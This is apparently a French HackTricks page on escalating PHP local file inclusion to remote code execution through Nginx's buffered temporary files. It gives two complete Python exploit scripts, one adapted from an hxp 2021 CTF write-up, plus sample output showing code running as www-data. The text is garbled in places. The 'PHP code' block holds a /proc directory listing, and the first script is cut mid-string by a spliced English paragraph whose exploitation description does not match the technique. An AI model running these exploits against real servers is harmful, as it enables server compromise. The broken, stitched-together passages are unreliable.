# LFI2RCE via fichiers temporaires Nginx
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## Configuration vulnérable **[Exemple de https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)** * Code PHP: ``` /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... ``` Note : On ne peut pas inclure directement `/proc/34/fd/15` dans cet exemple car la fonction `include` de PHP résoudrait le chemin en `/var/lib/nginx/body/0000001368 (supprimé)` qui n'existe pas dans le système de fichiers. Cette légère restriction peut heureusement être contournée par une certaine indirection comme : `/proc/self/fd/34/../../../34/fd/15` qui exécutera finalement le contenu du fichier supprimé `/var/lib/nginx/body/0000001368`. ## Exploit Complet ```python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv[1]}:{sys.argv[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid_max' }) pid_max = int(r.text) print(f'[*] cpus: {cpus}; pid_max: {pid_max}') nginx_workers = [] for pid in range(pid_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'[*] nginx worker found: {pid}') nginx_workers.append(pid) if len(nginx_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('[+] starting uploader') while not done: requests.get(URL, data='Local File Inclusion to Remote Code Execution via Nginx Temporary Files

In some cases, Nginx can be misconfigured to store temporary files in a directory that is writable by the web server user. This misconfiguration can be exploited to achieve remote code execution by including a crafted file that will be executed by the server.

Exploitation

To exploit this vulnerability, an attacker can create a malicious PHP file containing the desired code and host it on a server. The attacker then includes the URL of the malicious file in a request to the vulnerable application, which in turn includes the file and executes the code within it.

Prevention

To prevent this type of attack, ensure that Nginx is properly configured to store temporary files in a directory that is not writable by the web server user. Additionally, input validation and output encoding should be implemented to prevent malicious file inclusions.

``` ``` $ ./pwn.py 127.0.0.1 1337 [*] cpus: 2; pid_max: 32768 [*] nginx worker found: 33 [*] nginx worker found: 34 [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] brute loop restarted: 33 [+] brute loop restarted: 34 [!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ### Autre Exploit Ceci provient de [https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/) ```python import requests import threading import multiprocessing import threading import random SERVER = "http://localhost:8088" NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41]) # Set the following to True to use the above set of PIDs instead of scanning: USE_NGINX_PIDS_CACHE = False def create_requests_session(): session = requests.Session() # Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000) session.mount('http://', adapter) return session def get_nginx_pids(requests_session): if USE_NGINX_PIDS_CACHE: return NGINX_PIDS_CACHE nginx_pids = set() # Scan up to PID 200 for i in range(1, 200): cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text if cmdline.startswith("nginx: worker process"): nginx_pids.add(i) return nginx_pids def send_payload(requests_session, body_size=1024000): try: # The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast payload = ' //' requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload))))) except: pass def send_payload_worker(requests_session): while True: send_payload(requests_session) def send_payload_multiprocess(requests_session): # Use all CPUs to send the payload as request body for Nginx for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start() def generate_random_path_prefix(nginx_pids): # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc//cwd/proc//root/proc//root path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d) def read_file_worker(requests_session, nginx_pid, nginx_pids): # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start() def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start() if __name__ == "__main__": print('[DEBUG] Creating requests session') requests_session = create_requests_session() print('[DEBUG] Getting Nginx pids') nginx_pids = get_nginx_pids(requests_session) print(f'[DEBUG] Nginx pids: {nginx_pids}') print('[DEBUG] Starting payload sending') send_payload_multiprocess(requests_session) print('[DEBUG] Starting fd readers') read_file_multiprocess(requests_session, nginx_pids) ``` ## Laboratoires * [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz) * [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/) * [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/) ## Références * [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.